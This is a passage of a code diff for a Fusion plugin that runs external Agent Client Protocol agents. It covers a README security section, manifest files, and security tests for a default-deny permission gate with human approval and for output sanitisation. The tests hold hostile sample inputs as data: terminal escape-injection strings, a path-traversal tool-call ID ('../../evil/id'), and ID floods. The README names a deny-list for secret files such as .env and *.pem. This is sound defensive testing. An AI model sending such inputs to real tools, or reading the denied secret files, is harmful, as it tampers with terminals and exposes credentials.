deny-list for secrets (`.env`, `*.pem`, …) and git internals (`.git/**`).
Writes are gated through the `file_write_delete` permission category.
- **Untrusted-input bounds.** Streamed output is sanitized (ANSI/control strip)
and bounded (per-turn + per-chunk caps; bounded tool-call correlation map).
- **Subprocess isolation.** The agent env is built from an allow-list
(`acpEnvAllowList`) — inherited `process.env` is **not** forwarded.
Not sandboxed in v1: the agent's own process/network syscalls run with Fusion's
user privileges (OS-level sandboxing is recommended future work).
## Settings
| Key | Default | Meaning |
| --- | --- | --- |
| `acpBinaryPath` | `acp-agent` | Agent binary to spawn |
| `acpArgs` | `[]` | Args that launch the agent in ACP/stdio mode (e.g. `["--acp"]`) |
| `acpModel` | — | Optional model identifier reported via `describeModel` |
| `acpFsRead` | `false` | Advertise/register `fs/read_text_file` |
| `acpFsWrite` | `false` | Advertise/register `fs/write_text_file` (gated) |
| `acpEnvAllowList` | `[]` | Env var names forwarded to the agent subprocess |
| `acpAllowUnrestricted` | `false` | Acknowledge the untrusted-agent risk under an allow-all policy |
## Upstream / third-party integration evidence
Per `AGENTS.md` (External-integration evidence):
- **Protocol homepage / docs:** https://agentclientprotocol.com
- **Upstream protocol repo:** https://github.com/agentclientprotocol/agent-client-protocol
- **TypeScript SDK repo:** https://github.com/agentclientprotocol/typescript-sdk
- **Dependency (npm):** `@agentclientprotocol/sdk` — https://www.npmjs.com/package/@agentclientprotocol/sdk
- **Pinned release:** `0.24.0` (Apache-2.0)
- **Tarball:** https://registry.npmjs.org/@agentclientprotocol/sdk/-/sdk-0.24.0.tgz
- **Integrity (sha512):** `sha512-vvu9appvGvfYstBj19C6NCepV6SvUhY5VRv60KUZ4XzhTah/olOYul5Zo4C+x2enyshMSvgB2mm/OEmrsHaSmA==`
- **Agent binaries driven:** user-supplied ACP agents (e.g. `gemini --acp`, the
`@agentclientprotocol/claude-agent-acp` adapter). These are configured by the
user at runtime, not bundled — `upstream-pending-verification` per agent.
See `docs/acp-contract.md` for the launch/readiness contract and failure taxonomy.

View File

@@ -0,0 +1,13 @@
{
"id": "fusion-plugin-acp-runtime",
"name": "ACP Runtime Plugin",
"version": "0.1.0",
"description": "Drives any external Agent Client Protocol (ACP) agent for Fusion",
"author": "Fusion Team",
"runtime": {
"runtimeId": "acp",
"name": "ACP Runtime",
"description": "Drives any external ACP-compatible agent over JSON-RPC/stdio",
"version": "0.1.0"
}
}

View File

@@ -0,0 +1,41 @@
{
"name": "@fusion-plugin-examples/acp-runtime",
"version": "0.1.0",
"type": "module",
"description": "ACP (Agent Client Protocol) runtime plugin for Fusion — drives any ACP-compatible agent over JSON-RPC/stdio",
"keywords": [
"fusion-plugin",
"acp",
"agent-client-protocol",
"runtime"
],
"exports": {
".": {
"types": "./src/index.ts",
"import": "./src/index.ts"
},
"./probe": {
"types": "./src/probe.ts",
"import": "./src/probe.ts"
}
},
"private": true,
"scripts": {
"build": "tsc",
"test": "vitest run --silent=passed-only --reporter=dot",
"typecheck": "tsc --noEmit"
},
"dependencies": {
"@agentclientprotocol/sdk": "0.24.0",
"@fusion/plugin-sdk": "workspace:*"
},
"peerDependencies": {
"@earendil-works/pi-ai": "*",
"@earendil-works/pi-coding-agent": "*"
},
"devDependencies": {
"@types/node": "^25.5.2",
"typescript": "^5.7.0",
"vitest": "^3.2.4"
}
}

View File

@@ -0,0 +1,315 @@
// U5 security-floor tests for the PURE permission resolver.
//
// Each `it` is a security assertion. Do NOT weaken these to go green — if one
// fails, the implementation is wrong, not the test.
import { describe, it, expect, vi } from "vitest";
import type {
PermissionOption,
RequestPermissionResponse,
ToolCallUpdate,
ToolKind,
} from "@agentclientprotocol/sdk";
import {
classifyToolKind,
selectOption,
resolvePermission,
DENY,
} from "../control-handler.js";
import type { GateDisposition, PermissionGate } from "../types.js";
// A full option set the agent might offer (includes the dangerous *_always).
const ALL_OPTIONS: PermissionOption[] = [
{ optionId: "allow_once_id", name: "Allow once", kind: "allow_once" },
{ optionId: "allow_always_id", name: "Allow always", kind: "allow_always" },
{ optionId: "reject_once_id", name: "Reject once", kind: "reject_once" },
{ optionId: "reject_always_id", name: "Reject always", kind: "reject_always" },
];
function toolCall(kind: ToolKind | null | undefined, extra: Partial<ToolCallUpdate> = {}): ToolCallUpdate {
return { toolCallId: "tc-1", kind, ...extra } as ToolCallUpdate;
}
function gateWithRules(rules: Record<string, GateDisposition>, extra: Partial<PermissionGate> = {}): PermissionGate {
return { permissionPolicy: { rules }, ...extra };
}
/** The shipped `unrestricted` default: every category → allow. */
const UNRESTRICTED: Record<string, GateDisposition> = {
git_write: "allow",
file_write_delete: "allow",
command_execution: "allow",
network_api: "allow",
task_agent_mutation: "allow",
};
function selectedId(res: RequestPermissionResponse): string | undefined {
return res.outcome.outcome === "selected" ? res.outcome.optionId : undefined;
}
describe("classifyToolKind", () => {
it("maps execute → command_execution", () => {
expect(classifyToolKind("execute")).toBe("command_execution");
});
it("maps edit/delete/move → file_write_delete", () => {
expect(classifyToolKind("edit")).toBe("file_write_delete");
expect(classifyToolKind("delete")).toBe("file_write_delete");
expect(classifyToolKind("move")).toBe("file_write_delete");
});
it("maps fetch → network_api", () => {
expect(classifyToolKind("fetch")).toBe("network_api");
});
it("maps read/search/think/switch_mode → exempt", () => {
expect(classifyToolKind("read")).toBe("exempt");
expect(classifyToolKind("search")).toBe("exempt");
expect(classifyToolKind("think")).toBe("exempt");
expect(classifyToolKind("switch_mode")).toBe("exempt");
});
it("maps other/undefined/null/unknown → DENY sentinel", () => {
expect(classifyToolKind("other")).toBe(DENY);
expect(classifyToolKind(undefined)).toBe(DENY);
expect(classifyToolKind(null)).toBe(DENY);
expect(classifyToolKind("totally_made_up" as ToolKind)).toBe(DENY);
});
});
describe("selectOption — allow_once ONLY (S2)", () => {
it("allow selects allow_once, never allow_always", () => {
const sel = selectOption("allow", ALL_OPTIONS);
expect(sel).toEqual({ decision: "allow", optionId: "allow_once_id" });
});
it("allow with NO allow_once falls back to reject (never allow_always)", () => {
const noAllowOnce = ALL_OPTIONS.filter((o) => o.kind !== "allow_once");
const sel = selectOption("allow", noAllowOnce);
expect(sel.decision).toBe("deny");
expect(sel.optionId).not.toBe("allow_always_id");
expect(sel.optionId).toBe("reject_once_id");
});
it("deny selects reject_once, never reject_always", () => {
const sel = selectOption("deny", ALL_OPTIONS);
expect(sel).toEqual({ decision: "deny", optionId: "reject_once_id" });
});
it("deny with no reject_once leaves optionId undefined (→ cancelled)", () => {
const onlyAllow: PermissionOption[] = [
{ optionId: "allow_once_id", name: "Allow once", kind: "allow_once" },
{ optionId: "allow_always_id", name: "Allow always", kind: "allow_always" },
];
const sel = selectOption("deny", onlyAllow);
expect(sel.decision).toBe("deny");
expect(sel.optionId).toBeUndefined();
});
});
describe("resolvePermission — the security floor", () => {
// [Risk S1] per-category honored, NOT preset-allowed.
it("blocks an execute call when command_execution is custom-blocked even under an otherwise-unrestricted policy", async () => {
const gate = gateWithRules({ ...UNRESTRICTED, command_execution: "block" });
const res = await resolvePermission(toolCall("execute"), ALL_OPTIONS, gate);
expect(res.outcome.outcome).toBe("selected");
expect(selectedId(res)).toBe("reject_once_id");
});
// [Risk S2] allow → allow_once, allow_always NEVER selected.
// (acknowledged: with allowUnrestricted the S1 escalation is off, so the allow
// disposition reaches option selection — the point of this test.)
it("selects allow_once for an allow category and never allow_always even when offered", async () => {
const gate = gateWithRules({ ...UNRESTRICTED, command_execution: "allow" });
const res = await resolvePermission(toolCall("execute"), ALL_OPTIONS, gate, {
allowUnrestricted: true,
});
expect(selectedId(res)).toBe("allow_once_id");
expect(selectedId(res)).not.toBe("allow_always_id");
});
// [Risk S1] WITHOUT acknowledgement, a blanket allow on a sensitive category
// is escalated to approval — and default-denies when no approver exists.
it("escalates a sensitive allow to deny under the unrestricted default (no acknowledgement, no approver)", async () => {
const gate = gateWithRules(UNRESTRICTED); // command_execution: "allow"
const res = await resolvePermission(toolCall("execute"), ALL_OPTIONS, gate);
expect(selectedId(res)).toBe("reject_once_id");
});
it("auto-allows a sensitive call only when the unrestricted risk is acknowledged", async () => {
const gate = gateWithRules(UNRESTRICTED);
const res = await resolvePermission(toolCall("execute"), ALL_OPTIONS, gate, {
allowUnrestricted: true,
});
expect(selectedId(res)).toBe("allow_once_id");
});
it("never escalates an exempt (read-only) kind regardless of acknowledgement", async () => {
const gate = gateWithRules(UNRESTRICTED);
const res = await resolvePermission(toolCall("read"), ALL_OPTIONS, gate);
expect(selectedId(res)).toBe("allow_once_id");
});
it("exempt kinds (read) always allow via allow_once", async () => {
// Even with a block-everything policy, a read-only kind is exempt → allow.
const gate = gateWithRules({
git_write: "block",
file_write_delete: "block",
command_execution: "block",
network_api: "block",
task_agent_mutation: "block",
});
const res = await resolvePermission(toolCall("read"), ALL_OPTIONS, gate);
expect(selectedId(res)).toBe("allow_once_id");
});
// [KTD3a] missing / other / unknown kind → denied even under unrestricted.
it("denies a missing kind even under the unrestricted default", async () => {
const gate = gateWithRules(UNRESTRICTED);
const res = await resolvePermission(toolCall(undefined), ALL_OPTIONS, gate);
expect(selectedId(res)).toBe("reject_once_id");
});
it("denies an `other` kind even under the unrestricted default", async () => {
const gate = gateWithRules(UNRESTRICTED);
const res = await resolvePermission(toolCall("other"), ALL_OPTIONS, gate);
expect(selectedId(res)).toBe("reject_once_id");
});
// No gate / no policy → default-deny.
it("default-denies when no gate is supplied", async () => {
const res = await resolvePermission(toolCall("read"), ALL_OPTIONS, undefined);
expect(selectedId(res)).toBe("reject_once_id");
});
it("default-denies when permissionPolicy is absent", async () => {
const res = await resolvePermission(toolCall("read"), ALL_OPTIONS, {} as PermissionGate);
expect(selectedId(res)).toBe("reject_once_id");
});
// Options missing the expected *_once kind → safe fallback, never *_always, no throw.
it("falls back to cancelled (never allow_always) when an allow category offers no allow_once", async () => {
const gate = gateWithRules({ ...UNRESTRICTED, command_execution: "allow" });
const noAllowOnce: PermissionOption[] = [
{ optionId: "allow_always_id", name: "Allow always", kind: "allow_always" },
{ optionId: "reject_always_id", name: "Reject always", kind: "reject_always" },
];
const res = await resolvePermission(toolCall("execute"), noAllowOnce, gate, {
allowUnrestricted: true,
});
// No reject_once either → cancelled, and definitely not allow_always.
expect(res.outcome.outcome).toBe("cancelled");
expect(selectedId(res)).toBeUndefined();
});
describe("require-approval HITL", () => {
it("creates an approval request, blocks until decision, granted → allow_once", async () => {
let resolvePause: (() => void) | undefined;
const order: string[] = [];
const gate: PermissionGate = gateWithRules(
{ ...UNRESTRICTED, command_execution: "require-approval" },
{
createApprovalRequest: vi.fn(async () => {
order.push("create");
return { id: "appr-1" };
}),
findApprovalByDedupeKey: vi
.fn()
// first lookup (reuse check): nothing prior
.mockResolvedValueOnce(null)
// second lookup (after pause): approved
.mockResolvedValueOnce({ id: "appr-1", status: "approved" }),
pauseForApproval: vi.fn(
() =>
new Promise<void>((resolve) => {
order.push("pause");
resolvePause = () => {
order.push("resume");
resolve();
};
}),
),
markApprovalCompleted: vi.fn(async () => {
order.push("complete");
}),
},
);
const promise = resolvePermission(toolCall("execute"), ALL_OPTIONS, gate);
// It must be blocked on pauseForApproval — give the microtask queue a tick.
await Promise.resolve();
await Promise.resolve();
expect(order).toEqual(["create", "pause"]);
resolvePause!();
const res = await promise;
expect(selectedId(res)).toBe("allow_once_id");
expect(gate.createApprovalRequest).toHaveBeenCalledTimes(1);
expect(gate.markApprovalCompleted).toHaveBeenCalledWith("appr-1");
expect(order).toEqual(["create", "pause", "resume", "complete"]);
});
it("rejected decision → reject_once", async () => {
const gate: PermissionGate = gateWithRules(
{ ...UNRESTRICTED, command_execution: "require-approval" },
{
createApprovalRequest: vi.fn(async () => ({ id: "appr-2" })),
findApprovalByDedupeKey: vi
.fn()
.mockResolvedValueOnce(null)
.mockResolvedValueOnce({ id: "appr-2", status: "denied" }),
pauseForApproval: vi.fn(async () => undefined),
markApprovalCompleted: vi.fn(async () => undefined),
},
);
const res = await resolvePermission(toolCall("execute"), ALL_OPTIONS, gate);
expect(selectedId(res)).toBe("reject_once_id");
});
it("timeout/error during pause → reject_once (no throw)", async () => {
const gate: PermissionGate = gateWithRules(
{ ...UNRESTRICTED, command_execution: "require-approval" },
{
createApprovalRequest: vi.fn(async () => ({ id: "appr-3" })),
findApprovalByDedupeKey: vi.fn().mockResolvedValueOnce(null),
pauseForApproval: vi.fn(async () => {
throw new Error("timed out");
}),
},
);
const res = await resolvePermission(toolCall("execute"), ALL_OPTIONS, gate);
expect(selectedId(res)).toBe("reject_once_id");
});
it("reuses a prior approved decision via the dedupe key (no new request)", async () => {
const createApprovalRequest = vi.fn(async () => ({ id: "appr-x" }));
const gate: PermissionGate = gateWithRules(
{ ...UNRESTRICTED, command_execution: "require-approval" },
{
createApprovalRequest,
findApprovalByDedupeKey: vi.fn(async () => ({ id: "prior", status: "approved" as const })),
},
);
const res = await resolvePermission(toolCall("execute"), ALL_OPTIONS, gate);
expect(selectedId(res)).toBe("allow_once_id");
expect(createApprovalRequest).not.toHaveBeenCalled();
});
it("require-approval with NO closures → default-deny, no throw", async () => {
const gate = gateWithRules({ ...UNRESTRICTED, command_execution: "require-approval" });
const res = await resolvePermission(toolCall("execute"), ALL_OPTIONS, gate);
expect(selectedId(res)).toBe("reject_once_id");
});
it("require-approval with createApprovalRequest but no pauseForApproval → default-deny (no orphaned request)", async () => {
const createApprovalRequest = vi.fn(async () => ({ id: "a" }));
const gate: PermissionGate = gateWithRules(
{ ...UNRESTRICTED, command_execution: "require-approval" },
{ createApprovalRequest },
);
const res = await resolvePermission(toolCall("execute"), ALL_OPTIONS, gate);
expect(selectedId(res)).toBe("reject_once_id");
// Without a way to pause for a decision, no request is committed to the
// store — otherwise it would sit perpetually `pending`.
expect(createApprovalRequest).not.toHaveBeenCalled();
});
});
it("treats a category with no explicit rule as require-approval (not allow)", async () => {
// command_execution missing from rules entirely → require-approval → with no
// closures that default-denies (never silent allow).
const gate = gateWithRules({ git_write: "allow" });
const res = await resolvePermission(toolCall("execute"), ALL_OPTIONS, gate);
expect(selectedId(res)).toBe("reject_once_id");
});
});

View File

@@ -0,0 +1,230 @@
import { describe, it, expect, vi } from "vitest";
import type { SessionUpdate } from "@agentclientprotocol/sdk";
import {
createEventBridge,
PER_TURN_OUTPUT_CAP_CHARS,
PER_CHUNK_CAP_CHARS,
TOOL_CALL_MAP_CAP,
} from "../event-bridge.js";
import type { AcpCallbacks } from "../types.js";
function makeCallbacks() {
const onText = vi.fn<(text: string) => void>();
const onThinking = vi.fn<(text: string) => void>();
const onToolStart = vi.fn<(name: string, args?: unknown) => void>();
const onToolEnd = vi.fn<(name: string, isError: boolean, result?: unknown) => void>();
const callbacks: AcpCallbacks = { onText, onThinking, onToolStart, onToolEnd };
return { callbacks, onText, onThinking, onToolStart, onToolEnd };
}
function textChunk(text: string): SessionUpdate {
return { sessionUpdate: "agent_message_chunk", content: { type: "text", text } } as SessionUpdate;
}
describe("event bridge bounds: per-turn cumulative cap (Risk S5)", () => {
it("stops forwarding text once the per-turn cap is exceeded and flags once", () => {
const { callbacks, onText, onThinking } = makeCallbacks();
const bridge = createEventBridge(callbacks);
// Each chunk is itself within the per-chunk cap; many of them exceed the
// per-turn cap. Total forwarded text must stay bounded.
const chunk = "x".repeat(PER_CHUNK_CAP_CHARS);
const chunksNeeded = Math.ceil(PER_TURN_OUTPUT_CAP_CHARS / PER_CHUNK_CAP_CHARS) + 5;
for (let i = 0; i < chunksNeeded; i++) {
bridge.handleSessionUpdate(textChunk(chunk));
}
const totalForwarded = onText.mock.calls.reduce((sum, c) => sum + c[0].length, 0);
// Bounded: never far beyond the cap (one chunk of slack at most).
expect(totalForwarded).toBeLessThanOrEqual(PER_TURN_OUTPUT_CAP_CHARS + PER_CHUNK_CAP_CHARS);
expect(totalForwarded).toBeGreaterThan(0);
// Exactly one truncation flag line emitted via onThinking.
const flagCalls = onThinking.mock.calls.filter((c) =>
String(c[0]).includes("output truncated"),
);
expect(flagCalls.length).toBe(1);
});
it("reset() clears the per-turn counter so a new turn forwards fresh", () => {
const { callbacks, onText, onThinking } = makeCallbacks();
const bridge = createEventBridge(callbacks);
const chunk = "y".repeat(PER_CHUNK_CAP_CHARS);
const chunksNeeded = Math.ceil(PER_TURN_OUTPUT_CAP_CHARS / PER_CHUNK_CAP_CHARS) + 2;
for (let i = 0; i < chunksNeeded; i++) bridge.handleSessionUpdate(textChunk(chunk));
onText.mockClear();
onThinking.mockClear();
bridge.reset();
bridge.handleSessionUpdate(textChunk("after reset"));
expect(onText).toHaveBeenCalledWith("after reset");
});
});
describe("event bridge bounds: per-chunk cap (Risk S5)", () => {
it("caps an oversized single content chunk", () => {
const { callbacks, onText } = makeCallbacks();
const bridge = createEventBridge(callbacks);
bridge.handleSessionUpdate(textChunk("z".repeat(PER_CHUNK_CAP_CHARS * 4)));
expect(onText).toHaveBeenCalledTimes(1);
expect(onText.mock.calls[0][0].length).toBeLessThanOrEqual(PER_CHUNK_CAP_CHARS);
});
});
describe("event bridge sanitization: tool title (Risk S7)", () => {
it("strips ANSI/control escapes from a tool title before the callback", () => {
const { callbacks, onToolStart } = makeCallbacks();
const bridge = createEventBridge(callbacks);
bridge.handleSessionUpdate({
sessionUpdate: "tool_call",
toolCallId: "t1",
title: "\x1b[31mRun\x1b[0m\x07 tests\x00",
kind: "execute",
} as SessionUpdate);
expect(onToolStart).toHaveBeenCalledTimes(1);
const name = onToolStart.mock.calls[0][0];
expect(name).toBe("Run tests");
expect(name).not.toContain("\x1b");
expect(name).not.toContain("\x00");
});
it("strips control escapes from agent text before onText", () => {
const { callbacks, onText } = makeCallbacks();
const bridge = createEventBridge(callbacks);
bridge.handleSessionUpdate(textChunk("\x1b]0;evil\x07hello\x1b[2J"));
expect(onText).toHaveBeenCalledWith("hello");
});
});
describe("event bridge bounds: toolCall correlation map (Risk S5)", () => {
it("bounds the map under a flood of unique toolCallIds (evicts oldest)", () => {
const { callbacks, onToolStart, onToolEnd } = makeCallbacks();
const bridge = createEventBridge(callbacks);
const flood = TOOL_CALL_MAP_CAP * 3;
for (let i = 0; i < flood; i++) {
bridge.handleSessionUpdate({
sessionUpdate: "tool_call",
toolCallId: `flood-${i}`,
title: `T${i}`,
kind: "other",
} as SessionUpdate);
}
// Every start fires (callbacks not gated), but memory (map) is bounded.
expect(onToolStart).toHaveBeenCalledTimes(flood);
// A terminal update for an EVICTED early id still resolves (orphan path),
// but its `tool_call` metadata is gone, so the title falls back to the
// generic "tool" — proving the map did NOT retain the earliest ids.
bridge.handleSessionUpdate({
sessionUpdate: "tool_call_update",
toolCallId: "flood-0",
status: "completed",
} as SessionUpdate);
expect(onToolEnd).toHaveBeenLastCalledWith("tool", false, undefined);
// The newest ids remain tracked, so their title is carried forward.
const newest = flood - 1;
bridge.handleSessionUpdate({
sessionUpdate: "tool_call_update",
toolCallId: `flood-${newest}`,
status: "completed",
} as SessionUpdate);
expect(onToolEnd).toHaveBeenLastCalledWith(`T${newest}`, false, undefined);
});
it("normalizes a path-separator toolCallId used as a map key", () => {
const { callbacks, onToolStart, onToolEnd } = makeCallbacks();
const bridge = createEventBridge(callbacks);
bridge.handleSessionUpdate({
sessionUpdate: "tool_call",
toolCallId: "../../evil/id",
title: "Sneaky",
kind: "other",
} as SessionUpdate);
// The update uses a DIFFERENT raw id (backslashes) that normalizes to the
// SAME key as the start's forward-slash id. Raw-key storage would miss the
// correlation; only normalization makes start↔end line up — proving the
// bridge keys on the normalized form, not the raw string.
bridge.handleSessionUpdate({
sessionUpdate: "tool_call_update",
toolCallId: "..\\..\\evil\\id",
status: "completed",
} as SessionUpdate);
// Same normalized key correlates start↔end exactly once.
expect(onToolStart).toHaveBeenCalledTimes(1);
expect(onToolEnd).toHaveBeenCalledTimes(1);
expect(onToolEnd).toHaveBeenCalledWith("Sneaky", false, undefined);
});
});
describe("plan output bounds (S5)", () => {
it("caps plan entry count and charges the per-turn budget", async () => {
const { createEventBridge, MAX_PLAN_ENTRIES, PER_TURN_OUTPUT_CAP_CHARS } = await import(
"../event-bridge.js"
);
const thinking: string[] = [];
const bridge = createEventBridge({ onThinking: (t) => thinking.push(t) });
const entries = Array.from({ length: MAX_PLAN_ENTRIES + 50 }, (_, i) => ({
content: `step ${i}`,
priority: "low",
status: "pending",
}));
bridge.handleSessionUpdate({ sessionUpdate: "plan", entries } as never);
expect(thinking).toHaveLength(1);
// Truncation marker present; not all entries formatted.
expect(thinking[0]).toContain("50 more entries truncated");
expect(thinking[0].length).toBeLessThan(PER_TURN_OUTPUT_CAP_CHARS);
});
it("suppresses plan output once the per-turn cap has flagged", async () => {
const { createEventBridge, PER_CHUNK_CAP_CHARS, PER_TURN_OUTPUT_CAP_CHARS } = await import(
"../event-bridge.js"
);
const thinking: string[] = [];
const bridge = createEventBridge({ onThinking: (t) => thinking.push(t) });
// Flood text until the per-turn cap flags.
const chunk = "x".repeat(PER_CHUNK_CAP_CHARS);
const chunksNeeded = Math.ceil(PER_TURN_OUTPUT_CAP_CHARS / PER_CHUNK_CAP_CHARS) + 2;
for (let i = 0; i < chunksNeeded; i += 1) {
bridge.handleSessionUpdate({
sessionUpdate: "agent_thought_chunk",
content: { type: "text", text: chunk },
} as never);
}
const before = thinking.length;
bridge.handleSessionUpdate({
sessionUpdate: "plan",
entries: [{ content: "late plan", priority: "low", status: "pending" }],
} as never);
// No plan line after the cap flagged.
expect(thinking.length).toBe(before);
});
});
it("a plan-ONLY stream stops emitting once the per-turn cap is crossed", async () => {
const { createEventBridge, PER_CHUNK_CAP_CHARS, PER_TURN_OUTPUT_CAP_CHARS, MAX_PLAN_ENTRIES } =
await import("../event-bridge.js");
const thinking: string[] = [];
const bridge = createEventBridge({ onThinking: (t) => thinking.push(t) });
// Each plan line is bounded by PER_CHUNK_CAP_CHARS; flood plan events only.
const bigEntry = "p".repeat(PER_CHUNK_CAP_CHARS);
const entries = Array.from({ length: MAX_PLAN_ENTRIES }, () => ({
content: bigEntry,
priority: "low",
status: "pending",
}));
const floods = Math.ceil(PER_TURN_OUTPUT_CAP_CHARS / PER_CHUNK_CAP_CHARS) + 3;
for (let i = 0; i < floods; i += 1) {
bridge.handleSessionUpdate({ sessionUpdate: "plan", entries } as never);
}
// The flag line is emitted exactly once, then nothing further.
const flagged = thinking.filter((t) => t.includes("output truncated"));
expect(flagged).toHaveLength(1);
const after = thinking.length;
bridge.handleSessionUpdate({ sessionUpdate: "plan", entries } as never);
expect(thinking.length).toBe(after);
// And the total emitted is bounded near the cap, not floods * cap.
expect(thinking.length).toBeLessThan(floods);
});

View File

@@ -0,0 +1,332 @@
import { describe, it, expect, vi } from "vitest";
import type { SessionUpdate } from "@agentclientprotocol/sdk";
import { createEventBridge, PER_TURN_OUTPUT_CAP_CHARS } from "../event-bridge.js";
import type { AcpCallbacks } from "../types.js";
function makeCallbacks() {
const onText = vi.fn<(text: string) => void>();
const onThinking = vi.fn<(text: string) => void>();
const onToolStart = vi.fn<(name: string, args?: unknown) => void>();
const onToolEnd = vi.fn<(name: string, isError: boolean, result?: unknown) => void>();
const callbacks: AcpCallbacks = { onText, onThinking, onToolStart, onToolEnd };
return { callbacks, onText, onThinking, onToolStart, onToolEnd };
}
describe("event bridge: text/thinking", () => {
it("agent_message_chunk sequence reconstructs the full message via successive onText", () => {
const { callbacks, onText, onThinking } = makeCallbacks();
const bridge = createEventBridge(callbacks);
bridge.handleSessionUpdate({
sessionUpdate: "agent_message_chunk",
content: { type: "text", text: "Hello" },
} as SessionUpdate);
bridge.handleSessionUpdate({
sessionUpdate: "agent_message_chunk",
content: { type: "text", text: " world." },
} as SessionUpdate);
expect(onText).toHaveBeenCalledTimes(2);
expect(onText.mock.calls.map((c) => c[0]).join("")).toBe("Hello world.");
expect(onThinking).not.toHaveBeenCalled();
});
it("repairs a dropped inter-chunk space between sentence end and capitalized start", () => {
const { callbacks, onText } = makeCallbacks();
const bridge = createEventBridge(callbacks);
bridge.handleSessionUpdate({
sessionUpdate: "agent_message_chunk",
content: { type: "text", text: "Done." },
} as SessionUpdate);
bridge.handleSessionUpdate({
sessionUpdate: "agent_message_chunk",
content: { type: "text", text: "Next step." },
} as SessionUpdate);
expect(onText.mock.calls.map((c) => c[0]).join("")).toBe("Done. Next step.");
});
it("agent_thought_chunk routes to onThinking, not onText", () => {
const { callbacks, onText, onThinking } = makeCallbacks();
const bridge = createEventBridge(callbacks);
bridge.handleSessionUpdate({
sessionUpdate: "agent_thought_chunk",
content: { type: "text", text: "thinking..." },
} as SessionUpdate);
expect(onThinking).toHaveBeenCalledTimes(1);
expect(onThinking).toHaveBeenCalledWith("thinking...");
expect(onText).not.toHaveBeenCalled();
});
it("ignores user_message_chunk", () => {
const { callbacks, onText, onThinking } = makeCallbacks();
const bridge = createEventBridge(callbacks);
bridge.handleSessionUpdate({
sessionUpdate: "user_message_chunk",
content: { type: "text", text: "user echo" },
} as SessionUpdate);
expect(onText).not.toHaveBeenCalled();
expect(onThinking).not.toHaveBeenCalled();
});
it("ignores non-text content blocks for text extraction", () => {
const { callbacks, onText } = makeCallbacks();
const bridge = createEventBridge(callbacks);
bridge.handleSessionUpdate({
sessionUpdate: "agent_message_chunk",
content: { type: "image", data: "abc", mimeType: "image/png" },
} as unknown as SessionUpdate);
expect(onText).not.toHaveBeenCalled();
});
});
describe("event bridge: tool call lifecycle", () => {
it("tool_call → onToolStart with mapped name + normalized args", () => {
const { callbacks, onToolStart } = makeCallbacks();
const bridge = createEventBridge(callbacks);
bridge.handleSessionUpdate({
sessionUpdate: "tool_call",
toolCallId: "t1",
title: "Run tests",
kind: "execute",
rawInput: { command: "pnpm test" },
} as SessionUpdate);
expect(onToolStart).toHaveBeenCalledTimes(1);
expect(onToolStart).toHaveBeenCalledWith("Run tests", { command: "pnpm test" });
});
it("tool_call_update(status:failed) → onToolEnd(isError=true), correlated by toolCallId", () => {
const { callbacks, onToolStart, onToolEnd } = makeCallbacks();
const bridge = createEventBridge(callbacks);
bridge.handleSessionUpdate({
sessionUpdate: "tool_call",
toolCallId: "t1",
title: "Run tests",
kind: "execute",
} as SessionUpdate);
// partial update omits title/kind — bridge must carry them forward
bridge.handleSessionUpdate({
sessionUpdate: "tool_call_update",
toolCallId: "t1",
status: "failed",
rawOutput: { exitCode: 1 },
} as SessionUpdate);
expect(onToolStart).toHaveBeenCalledWith("Run tests", {});
expect(onToolEnd).toHaveBeenCalledTimes(1);
expect(onToolEnd).toHaveBeenCalledWith("Run tests", true, { exitCode: 1 });
});
it("intermediate statuses do not fire onToolEnd; completed fires isError=false", () => {
const { callbacks, onToolEnd } = makeCallbacks();
const bridge = createEventBridge(callbacks);
bridge.handleSessionUpdate({
sessionUpdate: "tool_call",
toolCallId: "t1",
title: "Read file",
kind: "read",
} as SessionUpdate);
bridge.handleSessionUpdate({
sessionUpdate: "tool_call_update",
toolCallId: "t1",
status: "in_progress",
} as SessionUpdate);
expect(onToolEnd).not.toHaveBeenCalled();
bridge.handleSessionUpdate({
sessionUpdate: "tool_call_update",
toolCallId: "t1",
status: "completed",
rawOutput: "ok",
} as SessionUpdate);
expect(onToolEnd).toHaveBeenCalledTimes(1);
expect(onToolEnd).toHaveBeenCalledWith("Read file", false, "ok");
});
it("does not fire onToolEnd twice for repeated terminal updates", () => {
const { callbacks, onToolEnd } = makeCallbacks();
const bridge = createEventBridge(callbacks);
bridge.handleSessionUpdate({
sessionUpdate: "tool_call",
toolCallId: "t1",
title: "X",
} as SessionUpdate);
bridge.handleSessionUpdate({
sessionUpdate: "tool_call_update",
toolCallId: "t1",
status: "completed",
} as SessionUpdate);
bridge.handleSessionUpdate({
sessionUpdate: "tool_call_update",
toolCallId: "t1",
status: "completed",
} as SessionUpdate);
expect(onToolEnd).toHaveBeenCalledTimes(1);
});
it("tool_call_update for an unknown id still resolves a display name (no prior start)", () => {
const { callbacks, onToolEnd } = makeCallbacks();
const bridge = createEventBridge(callbacks);
bridge.handleSessionUpdate({
sessionUpdate: "tool_call_update",
toolCallId: "orphan",
kind: "edit",
status: "completed",
} as SessionUpdate);
expect(onToolEnd).toHaveBeenCalledWith("Edit", false, undefined);
});
});
describe("event bridge: plan (full replacement)", () => {
it("two successive plan updates → second fully replaces (no accumulation)", () => {
const { callbacks, onThinking } = makeCallbacks();
const bridge = createEventBridge(callbacks);
bridge.handleSessionUpdate({
sessionUpdate: "plan",
entries: [{ content: "Step A", priority: "high", status: "pending" }],
} as SessionUpdate);
bridge.handleSessionUpdate({
sessionUpdate: "plan",
entries: [
{ content: "Step B", priority: "high", status: "completed" },
{ content: "Step C", priority: "low", status: "pending" },
],
} as SessionUpdate);
expect(onThinking).toHaveBeenCalledTimes(2);
const second = onThinking.mock.calls[1][0];
// Second snapshot reflects only the new entries — no Step A carried over.
expect(second).toContain("Step B");
expect(second).toContain("Step C");
expect(second).not.toContain("Step A");
});
it("plan_update does NOT wipe the prior plan (no-op; full plan stays source of truth) (FIX 2)", () => {
const { callbacks, onThinking } = makeCallbacks();
const bridge = createEventBridge(callbacks);
bridge.handleSessionUpdate({
sessionUpdate: "plan",
entries: [{ content: "Step A", priority: "high", status: "pending" }],
} as SessionUpdate);
// The PlanUpdate variant carries `plan`, not a top-level `entries` array.
// The bridge must treat it as a no-op rather than firing an empty-plan
// onThinking that wipes the displayed plan.
bridge.handleSessionUpdate({
sessionUpdate: "plan_update",
plan: { type: "items", items: [] },
} as unknown as SessionUpdate);
// Only the `plan` event fired onThinking; plan_update fired nothing.
expect(onThinking).toHaveBeenCalledTimes(1);
expect(onThinking.mock.calls[0][0]).toContain("Step A");
});
});
describe("event bridge: per-turn reset (FIX 1)", () => {
it("resetTurn clears the output-cap latch so a later turn is not suppressed", () => {
const { callbacks, onText, onThinking } = makeCallbacks();
